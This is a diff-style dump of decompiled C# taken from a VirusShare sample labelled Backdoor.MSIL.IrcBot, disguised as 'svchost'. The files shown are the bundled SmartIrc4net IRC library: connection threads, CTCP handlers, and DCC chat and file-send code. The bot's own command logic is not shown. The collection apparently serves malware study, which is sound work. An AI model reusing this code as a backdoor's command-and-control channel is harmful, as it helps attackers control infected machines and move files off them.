ReplyCode replyCode = ReplyCode.Null;
|
||||||
|
try
|
||||||
|
{
|
||||||
|
replyCode = (ReplyCode) int.Parse(s);
|
||||||
|
}
|
||||||
|
catch (FormatException ex)
|
||||||
|
{
|
||||||
|
}
|
||||||
|
switch (replyCode)
|
||||||
|
{
|
||||||
|
case ReplyCode.Null:
|
||||||
|
switch (strArray[1])
|
||||||
|
{
|
||||||
|
case "PONG":
|
||||||
|
DateTime now = DateTime.Now;
|
||||||
|
this._LastPongReceived = now;
|
||||||
|
this._Lag = now - this._LastPingSent;
|
||||||
|
return;
|
||||||
|
case null:
|
||||||
|
return;
|
||||||
|
default:
|
||||||
|
return;
|
||||||
|
}
|
||||||
|
case ReplyCode.Welcome:
|
||||||
|
this._IsRegistered = true;
|
||||||
|
break;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
else
|
||||||
|
{
|
||||||
|
string str;
|
||||||
|
if ((str = strArray[0]) == null)
|
||||||
|
return;
|
||||||
|
int num = str == "ERROR" ? 1 : 0;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
private void _OnConnectionError(object sender, EventArgs e)
|
||||||
|
{
|
||||||
|
try
|
||||||
|
{
|
||||||
|
if (this.AutoReconnect)
|
||||||
|
this.Reconnect();
|
||||||
|
else
|
||||||
|
this.Disconnect();
|
||||||
|
}
|
||||||
|
catch (ConnectionException ex)
|
||||||
|
{
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
private class ReadThread
|
||||||
|
{
|
||||||
|
private IrcConnection _Connection;
|
||||||
|
private Thread _Thread;
|
||||||
|
private System.Collections.Queue _Queue = System.Collections.Queue.Synchronized(new System.Collections.Queue());
|
||||||
|
|
||||||
|
public System.Collections.Queue Queue => this._Queue;
|
||||||
|
|
||||||
|
public ReadThread(IrcConnection connection) => this._Connection = connection;
|
||||||
|
|
||||||
|
public void Start()
|
||||||
|
{
|
||||||
|
this._Thread = new Thread(new ThreadStart(this._Worker));
|
||||||
|
this._Thread.Name = "ReadThread (" + this._Connection.Address + ":" + (object) this._Connection.Port + ")";
|
||||||
|
this._Thread.IsBackground = true;
|
||||||
|
this._Thread.Start();
|
||||||
|
}
|
||||||
|
|
||||||
|
public void Stop()
|
||||||
|
{
|
||||||
|
this._Thread.Abort();
|
||||||
|
this._Thread.Join();
|
||||||
|
try
|
||||||
|
{
|
||||||
|
this._Connection._Reader.Close();
|
||||||
|
}
|
||||||
|
catch (ObjectDisposedException ex)
|
||||||
|
{
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
private void _Worker()
|
||||||
|
{
|
||||||
|
try
|
||||||
|
{
|
||||||
|
try
|
||||||
|
{
|
||||||
|
string str;
|
||||||
|
while (this._Connection.IsConnected && (str = this._Connection._Reader.ReadLine()) != null)
|
||||||
|
this._Queue.Enqueue((object) str);
|
||||||
|
}
|
||||||
|
catch (IOException ex)
|
||||||
|
{
|
||||||
|
}
|
||||||
|
finally
|
||||||
|
{
|
||||||
|
if (!this._Connection.IsDisconnecting)
|
||||||
|
this._Connection.IsConnectionError = true;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
catch (ThreadAbortException ex)
|
||||||
|
{
|
||||||
|
Thread.ResetAbort();
|
||||||
|
}
|
||||||
|
catch (Exception ex)
|
||||||
|
{
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
private class WriteThread
|
||||||
|
{
|
||||||
|
private IrcConnection _Connection;
|
||||||
|
private Thread _Thread;
|
||||||
|
private int _HighCount;
|
||||||
|
private int _AboveMediumCount;
|
||||||
|
private int _MediumCount;
|
||||||
|
private int _BelowMediumCount;
|
||||||
|
private int _LowCount;
|
||||||
|
private int _AboveMediumSentCount;
|
||||||
|
private int _MediumSentCount;
|
||||||
|
private int _BelowMediumSentCount;
|
||||||
|
private int _AboveMediumThresholdCount = 4;
|
||||||
|
private int _MediumThresholdCount = 2;
|
||||||
|
private int _BelowMediumThresholdCount = 1;
|
||||||
|
private int _BurstCount;
|
||||||
|
|
||||||
|
public WriteThread(IrcConnection connection) => this._Connection = connection;
|
||||||
|
|
||||||
|
public void Start()
|
||||||
|
{
|
||||||
|
this._Thread = new Thread(new ThreadStart(this._Worker));
|
||||||
|
this._Thread.Name = "WriteThread (" + this._Connection.Address + ":" + (object) this._Connection.Port + ")";
|
||||||
|
this._Thread.IsBackground = true;
|
||||||
|
this._Thread.Start();
|
||||||
|
}
|
||||||
|
|
||||||
|
public void Stop()
|
||||||
|
{
|
||||||
|
this._Thread.Abort();
|
||||||
|
this._Thread.Join();
|
||||||
|
try
|
||||||
|
{
|
||||||
|
this._Connection._Writer.Close();
|
||||||
|
}
|
||||||
|
catch (ObjectDisposedException ex)
|
||||||
|
{
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
private void _Worker()
|
||||||
|
{
|
||||||
|
try
|
||||||
|
{
|
||||||
|
try
|
||||||
|
{
|
||||||
|
while (this._Connection.IsConnected)
|
||||||
|
{
|
||||||
|
this._CheckBuffer();
|
||||||
|
Thread.Sleep(this._Connection._SendDelay);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
catch (IOException ex)
|
||||||
|
{
|
||||||
|
}
|
||||||
|
finally
|
||||||
|
{
|
||||||
|
if (!this._Connection.IsDisconnecting)
|
||||||
|
this._Connection.IsConnectionError = true;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
catch (ThreadAbortException ex)
|
||||||
|
{
|
||||||
|
Thread.ResetAbort();
|
||||||
|
}
|
||||||
|
catch (Exception ex)
|
||||||
|
{
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
private void _CheckBuffer()
|
||||||
|
{
|
||||||
|
if (!this._Connection._IsRegistered)
|
||||||
|
return;
|
||||||
|
this._HighCount = ((System.Collections.Queue) this._Connection._SendBuffer[(object) Priority.High]).Count;
|
||||||
|
this._AboveMediumCount = ((System.Collections.Queue) this._Connection._SendBuffer[(object) Priority.AboveMedium]).Count;
|
||||||
|
this._MediumCount = ((System.Collections.Queue) this._Connection._SendBuffer[(object) Priority.Medium]).Count;
|
||||||
|
this._BelowMediumCount = ((System.Collections.Queue) this._Connection._SendBuffer[(object) Priority.BelowMedium]).Count;
|
||||||
|
this._LowCount = ((System.Collections.Queue) this._Connection._SendBuffer[(object) Priority.Low]).Count;
|
||||||
|
if (this._CheckHighBuffer() && this._CheckAboveMediumBuffer() && this._CheckMediumBuffer() && this._CheckBelowMediumBuffer() && this._CheckLowBuffer())
|
||||||
|
{
|
||||||
|
this._AboveMediumSentCount = 0;
|
||||||
|
this._MediumSentCount = 0;
|
||||||
|
this._BelowMediumSentCount = 0;
|
||||||
|
this._BurstCount = 0;
|
||||||
|
}
|
||||||
|
if (this._BurstCount >= 3)
|
||||||
|
return;
|
||||||
|
++this._BurstCount;
|
||||||
|
}
|
||||||
|
|
||||||
|
private bool _CheckHighBuffer()
|
||||||
|
{
|
||||||
|
if (this._HighCount > 0)
|
||||||
|
{
|
||||||
|
string data = (string) ((System.Collections.Queue) this._Connection._SendBuffer[(object) Priority.High]).Dequeue();
|
||||||
|
if (!this._Connection._WriteLine(data))
|
||||||
|
((System.Collections.Queue) this._Connection._SendBuffer[(object) Priority.High]).Enqueue((object) data);
|
||||||
|
if (this._HighCount > 1)
|
||||||
|
return false;
|
||||||
|
}
|
||||||
|
return true;
|
||||||
|
}
|
||||||
|
|
||||||
|
private bool _CheckAboveMediumBuffer()
|
||||||
|
{
|
||||||
|
if (this._AboveMediumCount > 0 && this._AboveMediumSentCount < this._AboveMediumThresholdCount)
|
||||||
|
{
|
||||||
|
string data = (string) ((System.Collections.Queue) this._Connection._SendBuffer[(object) Priority.AboveMedium]).Dequeue();
|
||||||
|
if (!this._Connection._WriteLine(data))
|
||||||
|
((System.Collections.Queue) this._Connection._SendBuffer[(object) Priority.AboveMedium]).Enqueue((object) data);
|
||||||
|
++this._AboveMediumSentCount;
|
||||||
|
if (this._AboveMediumSentCount < this._AboveMediumThresholdCount)
|
||||||
|
return false;
|
||||||
|
}
|
||||||
|
return true;
|
||||||
|
}
|
||||||
|
|
||||||
|
private bool _CheckMediumBuffer()
|
||||||
|
{
|
||||||
|
if (this._MediumCount > 0 && this._MediumSentCount < this._MediumThresholdCount)
|
||||||
|
{
|
||||||
|
string data = (string) ((System.Collections.Queue) this._Connection._SendBuffer[(object) Priority.Medium]).Dequeue();
|
||||||
|
if (!this._Connection._WriteLine(data))
|
||||||
|
((System.Collections.Queue) this._Connection._SendBuffer[(object) Priority.Medium]).Enqueue((object) data);
|
||||||
|
++this._MediumSentCount;
|
||||||
|
if (this._MediumSentCount < this._MediumThresholdCount)
|
||||||
|
return false;
|
||||||
|
}
|
||||||
|
return true;
|
||||||
|
}
|
||||||
|
|
||||||
|
private bool _CheckBelowMediumBuffer()
|
||||||
|
{
|
||||||
|
if (this._BelowMediumCount > 0 && this._BelowMediumSentCount < this._BelowMediumThresholdCount)
|
||||||
|
{
|
||||||
|
string data = (string) ((System.Collections.Queue) this._Connection._SendBuffer[(object) Priority.BelowMedium]).Dequeue();
|
||||||
|
if (!this._Connection._WriteLine(data))
|
||||||
|
((System.Collections.Queue) this._Connection._SendBuffer[(object) Priority.BelowMedium]).Enqueue((object) data);
|
||||||
|
++this._BelowMediumSentCount;
|
||||||
|
if (this._BelowMediumSentCount < this._BelowMediumThresholdCount)
|
||||||
|
return false;
|
||||||
|
}
|
||||||
|
return true;
|
||||||
|
}
|
||||||
|
|
||||||
|
private bool _CheckLowBuffer()
|
||||||
|
{
|
||||||
|
if (this._LowCount > 0 && this._HighCount <= 0 && this._AboveMediumCount <= 0 && this._MediumCount <= 0 && this._BelowMediumCount <= 0)
|
||||||
|
{
|
||||||
|
string data = (string) ((System.Collections.Queue) this._Connection._SendBuffer[(object) Priority.Low]).Dequeue();
|
||||||
|
if (!this._Connection._WriteLine(data))
|
||||||
|
((System.Collections.Queue) this._Connection._SendBuffer[(object) Priority.Low]).Enqueue((object) data);
|
||||||
|
if (this._LowCount > 1)
|
||||||
|
return false;
|
||||||
|
}
|
||||||
|
return true;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
private class IdleWorkerThread
|
||||||
|
{
|
||||||
|
private IrcConnection _Connection;
|
||||||
|
private Thread _Thread;
|
||||||
|
|
||||||
|
public IdleWorkerThread(IrcConnection connection) => this._Connection = connection;
|
||||||
|
|
||||||
|
public void Start()
|
||||||
|
{
|
||||||
|
DateTime now = DateTime.Now;
|
||||||
|
this._Connection._LastPingSent = now;
|
||||||
|
this._Connection._LastPongReceived = now;
|
||||||
|
this._Thread = new Thread(new ThreadStart(this._Worker));
|
||||||
|
this._Thread.Name = "IdleWorkerThread (" + this._Connection.Address + ":" + (object) this._Connection.Port + ")";
|
||||||
|
this._Thread.IsBackground = true;
|
||||||
|
this._Thread.Start();
|
||||||
|
}
|
||||||
|
|
||||||
|
public void Stop() => this._Thread.Abort();
|
||||||
|
|
||||||
|
private void _Worker()
|
||||||
|
{
|
||||||
|
try
|
||||||
|
{
|
||||||
|
while (this._Connection.IsConnected)
|
||||||
|
{
|
||||||
|
Thread.Sleep(this._Connection._IdleWorkerInterval);
|
||||||
|
if (this._Connection.IsRegistered)
|
||||||
|
{
|
||||||
|
DateTime now = DateTime.Now;
|
||||||
|
int totalSeconds1 = (int) (now - this._Connection._LastPingSent).TotalSeconds;
|
||||||
|
int totalSeconds2 = (int) (now - this._Connection._LastPongReceived).TotalSeconds;
|
||||||
|
if (totalSeconds1 < this._Connection._PingTimeout)
|
||||||
|
{
|
||||||
|
if (!(this._Connection._LastPingSent > this._Connection._LastPongReceived) && totalSeconds2 > this._Connection._PingInterval)
|
||||||
|
{
|
||||||
|
this._Connection.WriteLine(Rfc2812.Ping(this._Connection.Address), Priority.Critical);
|
||||||
|
this._Connection._LastPingSent = now;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
else
|
||||||
|
{
|
||||||
|
if (this._Connection.IsDisconnecting)
|
||||||
|
break;
|
||||||
|
this._Connection.IsConnectionError = true;
|
||||||
|
break;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
catch (ThreadAbortException ex)
|
||||||
|
{
|
||||||
|
Thread.ResetAbort();
|
||||||
|
}
|
||||||
|
catch (Exception ex)
|
||||||
|
{
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
@ -0,0 +1,19 @@
|
|||||||
|
// Decompiled with JetBrains decompiler
|
||||||
|
// Type: Meebey.SmartIrc4net.IrcConstants
|
||||||
|
// Assembly: svchost, Version=3.2.4.0, Culture=neutral, PublicKeyToken=null
|
||||||
|
// MVID: 8F51F928-E1DB-4815-857F-7D580385B815
|
||||||
|
// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Backdoor.MSIL.IrcBot.lp-4dd7df88cffbf85a5894bc1b38660fa613c24b0e6c004ac00b2b119c03a35d3f.exe
|
||||||
|
|
||||||
|
namespace Meebey.SmartIrc4net
|
||||||
|
{
|
||||||
|
public class IrcConstants
|
||||||
|
{
|
||||||
|
public const char CtcpChar = '\u0001';
|
||||||
|
public const char IrcBold = '\u0002';
|
||||||
|
public const char IrcColor = '\u0003';
|
||||||
|
public const char IrcReverse = '\u0016';
|
||||||
|
public const char IrcNormal = '\u000F';
|
||||||
|
public const char IrcUnderline = '\u001F';
|
||||||
|
public const char CtcpQuoteChar = ' ';
|
||||||
|
}
|
||||||
|
}
|
@ -0,0 +1,19 @@
|
|||||||
|
// Decompiled with JetBrains decompiler
|
||||||
|
// Type: Meebey.SmartIrc4net.IrcEventArgs
|
||||||
|
// Assembly: svchost, Version=3.2.4.0, Culture=neutral, PublicKeyToken=null
|
||||||
|
// MVID: 8F51F928-E1DB-4815-857F-7D580385B815
|
||||||
|
// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Backdoor.MSIL.IrcBot.lp-4dd7df88cffbf85a5894bc1b38660fa613c24b0e6c004ac00b2b119c03a35d3f.exe
|
||||||
|
|
||||||
|
using System;
|
||||||
|
|
||||||
|
namespace Meebey.SmartIrc4net
|
||||||
|
{
|
||||||
|
public class IrcEventArgs : EventArgs
|
||||||
|
{
|
||||||
|
private readonly IrcMessageData _Data;
|
||||||
|
|
||||||
|
public IrcMessageData Data => this._Data;
|
||||||
|
|
||||||
|
internal IrcEventArgs(IrcMessageData data) => this._Data = data;
|
||||||
|
}
|
||||||
|
}
|
@ -0,0 +1,10 @@
|
|||||||
|
// Decompiled with JetBrains decompiler
|
||||||
|
// Type: Meebey.SmartIrc4net.IrcEventHandler
|
||||||
|
// Assembly: svchost, Version=3.2.4.0, Culture=neutral, PublicKeyToken=null
|
||||||
|
// MVID: 8F51F928-E1DB-4815-857F-7D580385B815
|
||||||
|
// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Backdoor.MSIL.IrcBot.lp-4dd7df88cffbf85a5894bc1b38660fa613c24b0e6c004ac00b2b119c03a35d3f.exe
|
||||||
|
|
||||||
|
namespace Meebey.SmartIrc4net
|
||||||
|
{
|
||||||
|
public delegate void IrcEventHandler(object sender, IrcEventArgs e);
|
||||||
|
}
|
@ -0,0 +1,342 @@
|
|||||||
|
// Decompiled with JetBrains decompiler
|
||||||
|
// Type: Meebey.SmartIrc4net.IrcFeatures
|
||||||
|
// Assembly: svchost, Version=3.2.4.0, Culture=neutral, PublicKeyToken=null
|
||||||
|
// MVID: 8F51F928-E1DB-4815-857F-7D580385B815
|
||||||
|
// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Backdoor.MSIL.IrcBot.lp-4dd7df88cffbf85a5894bc1b38660fa613c24b0e6c004ac00b2b119c03a35d3f.exe
|
||||||
|
|
||||||
|
using System;
|
||||||
|
using System.Collections.Generic;
|
||||||
|
using System.Collections.ObjectModel;
|
||||||
|
using System.IO;
|
||||||
|
using System.Net;
|
||||||
|
using System.Threading;
|
||||||
|
|
||||||
|
namespace Meebey.SmartIrc4net
|
||||||
|
{
|
||||||
|
public class IrcFeatures : IrcClient
|
||||||
|
{
|
||||||
|
private IPAddress _ExternalIpAdress;
|
||||||
|
private List<DccConnection> _DccConnections = new List<DccConnection>();
|
||||||
|
private Dictionary<string, CtcpDelegate> _CtcpDelegates = new Dictionary<string, CtcpDelegate>((IEqualityComparer<string>) StringComparer.CurrentCultureIgnoreCase);
|
||||||
|
private string _CtcpUserInfo;
|
||||||
|
private string _CtcpUrl;
|
||||||
|
private string _CtcpSource;
|
||||||
|
internal DccSpeed Speed = DccSpeed.RfcSendAhead;
|
||||||
|
|
||||||
|
public IPAddress ExternalIpAdress
|
||||||
|
{
|
||||||
|
get => this._ExternalIpAdress;
|
||||||
|
set => this._ExternalIpAdress = value;
|
||||||
|
}
|
||||||
|
|
||||||
|
public ReadOnlyCollection<DccConnection> DccConnections => new ReadOnlyCollection<DccConnection>((IList<DccConnection>) this._DccConnections);
|
||||||
|
|
||||||
|
public Dictionary<string, CtcpDelegate> CtcpDelegates => this._CtcpDelegates;
|
||||||
|
|
||||||
|
public string CtcpUserInfo
|
||||||
|
{
|
||||||
|
get => this._CtcpUserInfo;
|
||||||
|
set => this._CtcpUserInfo = value;
|
||||||
|
}
|
||||||
|
|
||||||
|
public string CtcpUrl
|
||||||
|
{
|
||||||
|
get => this._CtcpUrl;
|
||||||
|
set => this._CtcpUrl = value;
|
||||||
|
}
|
||||||
|
|
||||||
|
public string CtcpSource
|
||||||
|
{
|
||||||
|
get => this._CtcpSource;
|
||||||
|
set => this._CtcpSource = value;
|
||||||
|
}
|
||||||
|
|
||||||
|
public event DccConnectionHandler OnDccChatRequestEvent;
|
||||||
|
|
||||||
|
public void DccChatRequestEvent(DccEventArgs e)
|
||||||
|
{
|
||||||
|
if (this.OnDccChatRequestEvent == null)
|
||||||
|
return;
|
||||||
|
this.OnDccChatRequestEvent((object) this, e);
|
||||||
|
}
|
||||||
|
|
||||||
|
public event DccSendRequestHandler OnDccSendRequestEvent;
|
||||||
|
|
||||||
|
public void DccSendRequestEvent(DccSendRequestEventArgs e)
|
||||||
|
{
|
||||||
|
if (this.OnDccSendRequestEvent == null)
|
||||||
|
return;
|
||||||
|
this.OnDccSendRequestEvent((object) this, e);
|
||||||
|
}
|
||||||
|
|
||||||
|
public event DccConnectionHandler OnDccChatStartEvent;
|
||||||
|
|
||||||
|
public void DccChatStartEvent(DccEventArgs e)
|
||||||
|
{
|
||||||
|
if (this.OnDccChatStartEvent == null)
|
||||||
|
return;
|
||||||
|
this.OnDccChatStartEvent((object) this, e);
|
||||||
|
}
|
||||||
|
|
||||||
|
public event DccConnectionHandler OnDccSendStartEvent;
|
||||||
|
|
||||||
|
public void DccSendStartEvent(DccEventArgs e)
|
||||||
|
{
|
||||||
|
if (this.OnDccSendStartEvent == null)
|
||||||
|
return;
|
||||||
|
this.OnDccSendStartEvent((object) this, e);
|
||||||
|
}
|
||||||
|
|
||||||
|
public event DccChatLineHandler OnDccChatReceiveLineEvent;
|
||||||
|
|
||||||
|
public void DccChatReceiveLineEvent(DccChatEventArgs e)
|
||||||
|
{
|
||||||
|
if (this.OnDccChatReceiveLineEvent == null)
|
||||||
|
return;
|
||||||
|
this.OnDccChatReceiveLineEvent((object) this, e);
|
||||||
|
}
|
||||||
|
|
||||||
|
public event DccSendPacketHandler OnDccSendReceiveBlockEvent;
|
||||||
|
|
||||||
|
public void DccSendReceiveBlockEvent(DccSendEventArgs e)
|
||||||
|
{
|
||||||
|
if (this.OnDccSendReceiveBlockEvent == null)
|
||||||
|
return;
|
||||||
|
this.OnDccSendReceiveBlockEvent((object) this, e);
|
||||||
|
}
|
||||||
|
|
||||||
|
public event DccChatLineHandler OnDccChatSentLineEvent;
|
||||||
|
|
||||||
|
public void DccChatSentLineEvent(DccChatEventArgs e)
|
||||||
|
{
|
||||||
|
if (this.OnDccChatSentLineEvent == null)
|
||||||
|
return;
|
||||||
|
this.OnDccChatSentLineEvent((object) this, e);
|
||||||
|
}
|
||||||
|
|
||||||
|
public event DccSendPacketHandler OnDccSendSentBlockEvent;
|
||||||
|
|
||||||
|
internal void DccSendSentBlockEvent(DccSendEventArgs e)
|
||||||
|
{
|
||||||
|
if (this.OnDccSendSentBlockEvent == null)
|
||||||
|
return;
|
||||||
|
this.OnDccSendSentBlockEvent((object) this, e);
|
||||||
|
}
|
||||||
|
|
||||||
|
public event DccConnectionHandler OnDccChatStopEvent;
|
||||||
|
|
||||||
|
public void DccChatStopEvent(DccEventArgs e)
|
||||||
|
{
|
||||||
|
if (this.OnDccChatStopEvent == null)
|
||||||
|
return;
|
||||||
|
this.OnDccChatStopEvent((object) this, e);
|
||||||
|
}
|
||||||
|
|
||||||
|
public event DccConnectionHandler OnDccSendStopEvent;
|
||||||
|
|
||||||
|
public void DccSendStopEvent(DccEventArgs e)
|
||||||
|
{
|
||||||
|
if (this.OnDccSendStopEvent == null)
|
||||||
|
return;
|
||||||
|
this.OnDccSendStopEvent((object) this, e);
|
||||||
|
}
|
||||||
|
|
||||||
|
public IrcFeatures()
|
||||||
|
{
|
||||||
|
this.OnCtcpRequest += new CtcpEventHandler(this.CtcpRequestsHandler);
|
||||||
|
this._CtcpDelegates.Add("version", new CtcpDelegate(this.CtcpVersionDelegate));
|
||||||
|
this._CtcpDelegates.Add("clientinfo", new CtcpDelegate(this.CtcpClientInfoDelegate));
|
||||||
|
this._CtcpDelegates.Add("time", new CtcpDelegate(this.CtcpTimeDelegate));
|
||||||
|
this._CtcpDelegates.Add("userinfo", new CtcpDelegate(this.CtcpUserInfoDelegate));
|
||||||
|
this._CtcpDelegates.Add("url", new CtcpDelegate(this.CtcpUrlDelegate));
|
||||||
|
this._CtcpDelegates.Add("source", new CtcpDelegate(this.CtcpSourceDelegate));
|
||||||
|
this._CtcpDelegates.Add("finger", new CtcpDelegate(this.CtcpFingerDelegate));
|
||||||
|
this._CtcpDelegates.Add("dcc", new CtcpDelegate(this.CtcpDccDelegate));
|
||||||
|
this._CtcpDelegates.Add("ping", new CtcpDelegate(this.CtcpPingDelegate));
|
||||||
|
}
|
||||||
|
|
||||||
|
public void InitDccChat(string user) => this.InitDccChat(user, false);
|
||||||
|
|
||||||
|
public void InitDccChat(string user, bool passive) => this.InitDccChat(user, passive, Priority.Medium);
|
||||||
|
|
||||||
|
public void InitDccChat(string user, bool passive, Priority priority)
|
||||||
|
{
|
||||||
|
DccChat dccChat = new DccChat(this, user, this._ExternalIpAdress, passive, priority);
|
||||||
|
this._DccConnections.Add((DccConnection) dccChat);
|
||||||
|
ThreadPool.QueueUserWorkItem(new WaitCallback(((DccConnection) dccChat).InitWork));
|
||||||
|
this.RemoveInvalidDccConnections();
|
||||||
|
}
|
||||||
|
|
||||||
|
public void SendFile(string user, string filepath)
|
||||||
|
{
|
||||||
|
FileInfo fileInfo = new FileInfo(filepath);
|
||||||
|
if (!fileInfo.Exists)
|
||||||
|
return;
|
||||||
|
this.SendFile(user, (Stream) new FileStream(filepath, FileMode.Open), fileInfo.Name, fileInfo.Length, DccSpeed.RfcSendAhead, false, Priority.Medium);
|
||||||
|
}
|
||||||
|
|
||||||
|
public void SendFile(string user, string filepath, bool passive)
|
||||||
|
{
|
||||||
|
FileInfo fileInfo = new FileInfo(filepath);
|
||||||
|
if (!fileInfo.Exists)
|
||||||
|
return;
|
||||||
|
this.SendFile(user, (Stream) new FileStream(filepath, FileMode.Open), fileInfo.Name, fileInfo.Length, DccSpeed.RfcSendAhead, passive, Priority.Medium);
|
||||||
|
}
|
||||||
|
|
||||||
|
public void SendFile(string user, Stream file, string filename, long filesize) => this.SendFile(user, file, filename, filesize, DccSpeed.RfcSendAhead, false);
|
||||||
|
|
||||||
|
public void SendFile(
|
||||||
|
string user,
|
||||||
|
Stream file,
|
||||||
|
string filename,
|
||||||
|
long filesize,
|
||||||
|
DccSpeed speed,
|
||||||
|
bool passive)
|
||||||
|
{
|
||||||
|
this.SendFile(user, file, filename, filesize, speed, passive, Priority.Medium);
|
||||||
|
}
|
||||||
|
|
||||||
|
public void SendFile(
|
||||||
|
string user,
|
||||||
|
Stream file,
|
||||||
|
string filename,
|
||||||
|
long filesize,
|
||||||
|
DccSpeed speed,
|
||||||
|
bool passive,
|
||||||
|
Priority priority)
|
||||||
|
{
|
||||||
|
DccSend dccSend = new DccSend(this, user, this._ExternalIpAdress, file, filename, filesize, speed, passive, priority);
|
||||||
|
this._DccConnections.Add((DccConnection) dccSend);
|
||||||
|
ThreadPool.QueueUserWorkItem(new WaitCallback(((DccConnection) dccSend).InitWork));
|
||||||
|
this.RemoveInvalidDccConnections();
|
||||||
|
}
|
||||||
|
|
||||||
|
private void CtcpRequestsHandler(object sender, CtcpEventArgs e)
|
||||||
|
{
|
||||||
|
if (this._CtcpDelegates.ContainsKey(e.CtcpCommand))
|
||||||
|
this._CtcpDelegates[e.CtcpCommand](e);
|
||||||
|
this.RemoveInvalidDccConnections();
|
||||||
|
}
|
||||||
|
|
||||||
|
private void CtcpVersionDelegate(CtcpEventArgs e) => this.SendMessage(SendType.CtcpReply, e.Data.Nick, "VERSION " + (this.CtcpVersion == null ? this.VersionString : this.CtcpVersion));
|
||||||
|
|
||||||
|
private void CtcpClientInfoDelegate(CtcpEventArgs e)
|
||||||
|
{
|
||||||
|
string message = "CLIENTINFO";
|
||||||
|
foreach (KeyValuePair<string, CtcpDelegate> ctcpDelegate in this._CtcpDelegates)
|
||||||
|
message = message + " " + ctcpDelegate.Key.ToUpper();
|
||||||
|
this.SendMessage(SendType.CtcpReply, e.Data.Nick, message);
|
||||||
|
}
|
||||||
|
|
||||||
|
private void CtcpPingDelegate(CtcpEventArgs e)
|
||||||
|
{
|
||||||
|
if (e.Data.Message.Length > 7)
|
||||||
|
this.SendMessage(SendType.CtcpReply, e.Data.Nick, "PING " + e.Data.Message.Substring(6, e.Data.Message.Length - 7));
|
||||||
|
else
|
||||||
|
this.SendMessage(SendType.CtcpReply, e.Data.Nick, "PING");
|
||||||
|
}
|
||||||
|
|
||||||
|
private void CtcpRfcPingDelegate(CtcpEventArgs e)
|
||||||
|
{
|
||||||
|
if (e.Data.Message.Length > 7)
|
||||||
|
this.SendMessage(SendType.CtcpReply, e.Data.Nick, "PONG " + e.Data.Message.Substring(6, e.Data.Message.Length - 7));
|
||||||
|
else
|
||||||
|
this.SendMessage(SendType.CtcpReply, e.Data.Nick, "PONG");
|
||||||
|
}
|
||||||
|
|
||||||
|
private void CtcpTimeDelegate(CtcpEventArgs e) => this.SendMessage(SendType.CtcpReply, e.Data.Nick, "TIME " + DateTime.Now.ToString("r"));
|
||||||
|
|
||||||
|
private void CtcpUserInfoDelegate(CtcpEventArgs e) => this.SendMessage(SendType.CtcpReply, e.Data.Nick, "USERINFO " + (this.CtcpUserInfo == null ? "No user info given." : this.CtcpUserInfo));
|
||||||
|
|
||||||
|
private void CtcpUrlDelegate(CtcpEventArgs e) => this.SendMessage(SendType.CtcpReply, e.Data.Nick, "URL " + (this.CtcpUrl == null ? "http://www.google.com" : this.CtcpUrl));
|
||||||
|
|
||||||
|
private void CtcpSourceDelegate(CtcpEventArgs e) => this.SendMessage(SendType.CtcpReply, e.Data.Nick, "SOURCE " + (this.CtcpSource == null ? "http://smartirc4net.meebey.net" : this.CtcpSource));
|
||||||
|
|
||||||
|
private void CtcpFingerDelegate(CtcpEventArgs e) => this.SendMessage(SendType.CtcpReply, e.Data.Nick, "FINGER Don't touch little Helga there! ");
|
||||||
|
|
||||||
|
private void CtcpDccDelegate(CtcpEventArgs e)
|
||||||
|
{
|
||||||
|
if (e.Data.MessageArray.Length < 2)
|
||||||
|
{
|
||||||
|
this.SendMessage(SendType.CtcpReply, e.Data.Nick, "ERRMSG DCC missing parameters");
|
||||||
|
}
|
||||||
|
else
|
||||||
|
{
|
||||||
|
switch (e.Data.MessageArray[1])
|
||||||
|
{
|
||||||
|
case "CHAT":
|
||||||
|
DccChat dccChat = new DccChat(this, this._ExternalIpAdress, e);
|
||||||
|
this._DccConnections.Add((DccConnection) dccChat);
|
||||||
|
ThreadPool.QueueUserWorkItem(new WaitCallback(((DccConnection) dccChat).InitWork));
|
||||||
|
break;
|
||||||
|
case "SEND":
|
||||||
|
if (e.Data.MessageArray.Length > 6 && this.FilterMarker(e.Data.MessageArray[6]) != "T")
|
||||||
|
{
|
||||||
|
long result = -1;
|
||||||
|
long.TryParse(this.FilterMarker(e.Data.MessageArray[6]), out result);
|
||||||
|
foreach (DccConnection dccConnection in this._DccConnections)
|
||||||
|
{
|
||||||
|
if (dccConnection.isSession(result))
|
||||||
|
{
|
||||||
|
((DccSend) dccConnection).SetRemote(e);
|
||||||
|
((DccSend) dccConnection).AcceptRequest((Stream) null, 0L);
|
||||||
|
return;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
this.SendMessage(SendType.CtcpReply, e.Data.Nick, "ERRMSG Invalid passive DCC");
|
||||||
|
break;
|
||||||
|
}
|
||||||
|
DccSend dccSend = new DccSend(this, this._ExternalIpAdress, e);
|
||||||
|
this._DccConnections.Add((DccConnection) dccSend);
|
||||||
|
ThreadPool.QueueUserWorkItem(new WaitCallback(((DccConnection) dccSend).InitWork));
|
||||||
|
break;
|
||||||
|
case "RESUME":
|
||||||
|
foreach (DccConnection dccConnection in this._DccConnections)
|
||||||
|
{
|
||||||
|
if (dccConnection is DccSend && ((DccSend) dccConnection).TryResume(e))
|
||||||
|
return;
|
||||||
|
}
|
||||||
|
this.SendMessage(SendType.CtcpReply, e.Data.Nick, "ERRMSG Invalid DCC RESUME");
|
||||||
|
break;
|
||||||
|
case "ACCEPT":
|
||||||
|
